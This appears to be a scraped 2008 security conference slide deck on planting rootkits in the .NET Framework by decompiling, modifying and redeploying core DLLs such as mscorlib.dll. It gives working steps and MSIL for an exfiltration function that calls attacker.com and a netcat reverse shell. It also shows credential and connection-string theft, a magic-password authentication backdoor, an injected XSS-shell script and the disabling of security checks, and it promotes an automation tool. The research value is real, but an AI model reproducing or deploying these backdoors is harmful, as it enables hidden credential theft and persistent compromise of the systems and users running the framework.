530 likes | 692 Views
.NET Framework Rootkits - Backdoors inside your framework . Erez Metula, CISSP Application Security Department Manager Security Training Academic Director ErezMetula@2bsecure.co.il. November 2008. DEMO – making code do more than it should. Trivial question:
E N D
.NET Framework Rootkits - Backdoors inside your framework Erez Metula, CISSP Application Security Department Manager Security Training Academic Director ErezMetula@2bsecure.co.il November 2008
DEMO – making code do more than it should • Trivial question: What should be the output of the following code? static void Main(string[] args) { Console.WriteLine("Hello (crazy) World!"); } • DEMO – let’s run this code
What happened here ??!! • How come there were 2 WriteLine’s instead of just one?? • The answer is quite simple – The framework’s implementation of “WriteLine” was modified to print every string twice.. • It is possible to change the .NET language implementation!!!
Windows \ Web application public void class DoSomething() { //some code ……….. Console.WriteLine(“Some String”); } .Net Class Library public static void Write ( string value ) { ……// My Evil Code DoEvilThing(value) … } public static void WriteLine ( string value ) { ……//some code ……//the internal implementation of WriteLine… } mscorlib.dll Hacked! Windows APIs and services User interface
Agenda • Introduction .NET execution model & .NET reverse engineering • Modifying the Framework core • Function injection • Installing backdoors and rootkits • Automating the process with .NET-Sploit • Things to consider when injecting
Introduction to the .NET CLR • The CLR is the heart of the .NET framework • It is a virtual machine component responsible to run .NET code • .NET code is compiled to MSIL, which is converted to native code at runtime • Done by the JIT (just in time) compiler
Introduction to .NET Reverse Engineering • Reverse engineering a .NET assembly (DLL) is the counter process of compilation • going back from MSIL code to higher level .NET code (C#, VB.NET, etc.) • The purpose of reversing is usually to • Inspect assembly code • Modify assembly code • There are many tools that helps with that, from trivial decompiling to advanced runtime debugging • I’ve discussed it deeply in previous OWASP conference meeting • http://www.owasp.org/images/7/77/OWASP_IL_7_DOT_NET_Reverse_Engineering.pdf
Modifying the Framework core • The same concept can be applied to the Framework’s own DLL’s (any version) • This is a post exploitation type attack, that requires administrator level privileges • As a side note – can also be applied to Java’s JVM • The process is composed of the following steps: • Locate the DLL in the GAC, and copy it outside • Analyze the DLL • Decompile the DLL using ildasm • Modify the MSIL code (the most interesting part ) • Recompile to a new DLL using ilasm • Bypass the GAC strong name protection • Reverting back from NGEN Native DLL • Deploy the new DLL while overwriting the original
Tools • Filemon – locating which DLL’s are used and their location in the GAC • Reflector – analyzing the DLL code • Ilasm – compiling (MSIL -> DLL) • Ildasm – decompiling (DLL -> MSIL) • Text editor – modifying the MSIL code • Ngen - native compiler
Locating the DLL in the GAC • Locating the DLL in the GAC can be achieved using FileMon • In our example, we can identify mscorlib.dll • It contains the WriteLine function (among with other important functions). It’s of the most important DLL’s. • In our example – it’s atc:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089
Copy the DLL • Copy the DLL using direct file system access • Windows explorer hide the file system details from us:
Analyze the DLL • Reflector can help us analyze the code and decide where and what we want to do. • WriteLine is under System namespace, Console class Method signature Stack size Method MSIL code
Decompile the DLL using ildasm • So we know where it is - let’s copy it to some temp directory. • We want to generate MSIL code out of it. • Ildasm.exe disassembler will do this job • Execute the next command: • ILDASM /OUT=mscorlib.dll.il /NOBAR /LINENUM /SOURCE mscorlib.dll • So now we have the decompiled code at mscorlib.dll.il
Modifying the MSIL code • Our next task is to modify its code – this is the best part • Reflector can help us to analyze the code and decide where and what we want to do • So after detecting the location of WriteLine, I just doubled its MSIL code • to achieve the “2 for the price of 1” printing • MSIL line recalculation need to be performed • Stack size might needs to be recalculated
WriteLine in MSIL (original VS. modified code) • Original code of WriteLine: • Modified code: Print #1 (same as before) Print #2 (duplicate)
Recompile the DLL using ilasm • Next step is to generate a new “genuine” DLL out of the modified MSIL code we have. • Ilasm.exe assembler will do this job • Execute the next command: • ILASM /DEBUG /DLL /QUIET /OUTPUT=mscorlib.dll mscorlib.dll.il • So now we have a new modified mscorlib.dll
Bypass the GAC Strong Name model • Next logical step is to overwrite the original DLL at the GAC with our modified DLL. • It’s not that simple • This is where things get a little bit tricky • the framework is using a digital signature mechanism called SN (Strong Name) • Every DLL has a unique signature • Our modified DLL have a different signature than the original one • We don’t have Microsoft’s signing private key • Using gacutil.exe to install it back obviously fails
Bypass the GAC Strong Name model • First thought was to re-sign all the DLL’s • It is possible, but it’s a very intensive task • Another approach was taken, revealed during this research • It was found out that the signature is used just to map to the correct directory name on the GAC • the SN mechanism does not check the actual signature of a loaded DLL but just looks for a DLL inside a directory with this signature name ! • GAC is broken, Strong Name is meaningless!! • Instead of messing with signatures, we can just deploy the DLL inside the correct directory… • You need direct access to the file system
Reverting back from NGEN Native DLL • Another hurdle we need to overcome is .NET’s precompile mechanism - NGEN • Compiles .NET assemblies into native code • Used to speeds things up and to avoid the JIT • The framework is not using our DLL but rather uses the native version • So we need to explicitly tell the framework not to use the native version. Example: • ngen uninstall mscorlib.dll
DEMO • Deploying the modified mscorib.dll and running the demo app
Installing backdoors and rootkits • So now we know we can modify the framework and make it behave the way we want • It is possible to plant malicious code inside the framework itself • We can backdoor some sensitive internal methods • It is also possible to deploy rootkits deep into the framework • The malicious code will be hidden and undetected inside the Framework • Code review will never detect them because they’re not at the application level code
Rootkit development - Function injection • In order to better develop rootkits, it’s better to have a separation between • a new “ability” injected into the framework • the code that use it • Since a new “ability” will be used in a couple of places, why not inject it as a new function? • We’re extending the .NET language • “Side by side” - Those functions can be injected separately or at once without interfering each other • Same goes for the payload code that execute them • Some examples – let’s extend the framework with: • SendToUrl(string url, string data) • ReverseShell(string ip, int32 port)
SendToUrl(string url, string data) • Function that will be used to transfer data from the victim machine to the attacker • The data transfer is implemented as an innocent http web request • For example, to the attacker’s collector page • Parameters • url – the attacker’s collector page • data – the data to send
SendToUrl implementation • Code: .method public hidebysig static void SendToUrl(string url, string data) cil managed { .maxstack 8 IL_0000: nop IL_0001: ldarg.0 IL_0002: ldarg.1 IL_0003: call string System.String::Concat(string,string) IL_0008: call class [System]System.Net.WebRequest [System]System.Net.WebRequest::Create(string) IL_000d: callvirt instance class [System]System.Net.WebResponse [System]System.Net.WebRequest::GetResponse() IL_0012: pop IL_0013: ret } // end of method Class1::SendToUrl
SendToUrl usage • So now all we have to do is call this function • Since it was already deployed as a function, calling it is very simple • Let’s say there is a sensitive string (“SomeSensitiveStolenData”) the attacker wants to send to his collector WebForm1.aspx page • The following injected MSIL code will do the job .locals init (string V_0) IL_0000: ldstr "SomeSensitiveStolenData" IL_0005: stloc.0 IL_0006: ldstr "http://www.attacker.com/CookieStealer/WebForm1.asp" + "x\?s=" IL_000b: ldloc.0 IL_000c: call void System.Object::SendToUrl(string,string)
ReverseShell(string ip, int32 port) • Function that will be used to provide a reverse shell to the attacker machine • This function contains an encoded version of netcat + cmd that is deployed to disk at run time • Inspired from the “dropandpop” aspx backdoor • Parameters • ip – the attacker’s address • port – the attacker’s listening port
ReverseShell implementation • ReverseShell deploys netcat.exe + cmd.exe to the disk, and execute a reverse shell to the specified IP and PORT at the attacker machine • netcat IP PORT -e cmd.exe • Code (omitted): .method public hidebysig static void ReverseShell(string ip, int32 port) cil managed { // Code size 259 (0x103) .maxstack 3 .locals init ([0] string cmdfilename, [1] string filename, [2] uint8[] netcat, [3] class System.IO.BinaryWriter binWriter1,[4] uint8[] cmd, [5] class System.IO.BinaryWriter binWriter2,[6] string arguments, [7] class [System]System.Diagnostics.Process proc, [8] object[] CS$0$0000) IL_0000: nop IL_0001: ldstr "cmd.exe" IL_0006: stloc.0 IL_0007: ldstr "netcat.exe" IL_000c: stloc.1 … … IL_0101: pop IL_0102: ret } // end of method ::ReverseShell
ReverseShell usage • Using this function is very simple • The attacker needs to run netcat locally on his machine, waiting for incoming calls at port 1234 • nc -l -p 1234 • Calls to his specified port will be originated from the victim machine, forming a reverse shell tunnel • The following injected MSIL code will do the job IL_0000: ldstr "192.168.50.129“ // attacker ip address IL_0005: ldc.i4 0x4d2 // port 1234 IL_0006: call void System.Object::ReverseShell(string,int32)
Some practical examples.. • It is possible to do anything • The sky is the limit.. • Let’s see some examples..
Forms authentications credential stealing • System.Web.dll contains a boolean method called Authenticate(string name, string password) used by forms • Let’s append MSIL code to the end of this method, that will send the username and password to the attacker • SendToUrl(“attacker.com”, name+”:”+password) Original code (end of authenticate) Modified code(post injection) Injected
DEMO • Forms authentications credential stealinghttp://192.168.50.131/formsauthentication/login.aspx
Backdooring forms authentications • Another possible attack on the Authenticate function is to backdoor its logic • Anytime the supplied password will contain some special string (“Magic Value”) authentication will succeed • Let’s add code to the beginning of Authenticate If (password.equals(“MagicValue”)) return true; • The modified code (seen as C# using Reflector):
Installing a reverse shell • In our next example we’ll inject the ReverseShell function and execute it • Let’s make a reverse shell every time a winform executable is run • Just for demonstration pusposes.. • So we’ll inject code that execute our reverse shell into System.Windows.Forms.dll, at function Run(Form mainForm)
Installing a reverse shell Original code Modified code (pre injection) Injected
DEMO • Reverse shell
Stealing the connection string for every connection opening • System.Data.dll contains the logic for connecting to DB servers • The class SqlConnection is responsible for opening the connection to the DB • We can modify the behavior of Open() to send the connection string to the attacker • It’s in the class member ConnectionString • So Open() is changed to public override void Open() { SendToUrl(“www.attacker.com”, this.ConnectionString); … … }
Injecting Browser exploitation framework into auto generated HTML/JS files • The Framework contains many pieces of HTML / Javascript code that is used by aspx pages as code templates • Example - System.Web.dll • Those pieces of code are usually included inside the Framework DLL’s as resources • It is possible to inject persistent javascript code into the templates (similar to the concept of persistent XSS) • Example – injecting a call to XSS shell <script src="http://www.attacker.com/xssshell.asp?v=123"></script>
Encryption key fixation / stealing /downgrading / etc.. • A very interesting attack vector against .NET cryptography at mscorlib.dll • Example – Rijndael implementation of GenerateKey() • C# code from reflector • Key fixation can cause encryption to always use the same key (simple example – by removing the RNG line) • Key stealing can be achieved by sending the key to the attacker (using SendToUrl, for example) • Key/algorithm downgrading can be achieved by setting the least secure algorithm as the default for encryption (for example, setting the default symmetric algorithm to DES instead of the default AES.. ) • Etc…
SecureString stealing • SecureString is a special string protected with encryption by the .NET Framework • Part of System.Security at mscorlib.dll • SecureString probably contains valuable data • It would be interesting to inject code that will send this data to the attacker • Maybe inject it into the Dispose() method of SecureString • C# code from reflector: IntPtr ptr = System.Runtime.InteropServices.Marshal.SecureStringToBSTR(secureString); SendToUrl(“www.attacker.com”, System.Runtime.InteropServices.Marshal.PtrToStringBSTR(ptr));
Disabling security checks • Messing around with CAS (Code Access Security) can be achieved by modifying the behavior of important classes from System.Security, System.Security.Permissions, etc.. • Again, from mscorlib.dll.. • It is possible to disable security checks by changing the logic of • CodeAccessPermission::Demand() • CodeAccessPermission::Deny() • CodeAccessPermission::Assert() • FileIOPermission, RegistryPermission, etc.
Automating the process with .NET-Sploit • .NET-Sploit is a tool that aide the process of injecting / modifying .NET assemblies • Able to • Modify a given function • Inject payloads • Execute payloads • Takes care of “code reshaping” • Pull the relevant DLL from the GAC • Generate a deployer for the modified DLL
Automating the process with .NET-Sploit • .NET-Sploit is inspired from H.D. Moore’s amazing “metasploit” exploit platform. • Its specialty is the abstraction from which code injection is composed, and the separation of the following building blocks (modules): • Function – a new method to extend a specified DLL • Payload – code that is injected into a Framework method • Reference – reference to other DLL (if necessary) • Item – XML based composition the above building blocks • The idea is to create an item that combines generic payload and functions.
Item example <CodeChangeItem name="Send data to URL"> <Description>The specified code will change WriteLine() in such a way that each time it is called a string will be sent</Description> <AssemblyName>mscorlib.dll</AssemblyName> <AssemblyLocation>c:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089</AssemblyLocation> <AssemblyRef> <FileName>system.ref</FileName> </AssemblyRef> <AssemblyFunc> <FileName>SendToUrl.func</FileName> <Location><![CDATA[} // end of class System.Object]]></Location> <BeforeLocation>TRUE</BeforeLocation> </AssemblyFunc> <AssemblyCode> <FileName>SendToUrl.payload</FileName> <Location><![CDATA[instance void WriteLine() cil managed]]></Location> <StackSize>8</StackSize> </AssemblyCode> </CodeChangeItem>
DEMO • Performing a full automated DLL modification using .NET-Sploit
Things to consider when injecting • pre / post consideration • places to inject your code • Cross reference – function are not restricted to the same dll • the most used methods you want to inject to • References to assemblies • Stack size • Removing traces with NGEN
References • More information can be obtained at http://www.applicationsecurity.co.il/.NET-Framework-Rootkits.aspx • Includes: • Whitepaper: “.NET Framework Rootkits - Backdoors inside your Framework” • .NET-Sploit Tool • .NET-Sploit Source Code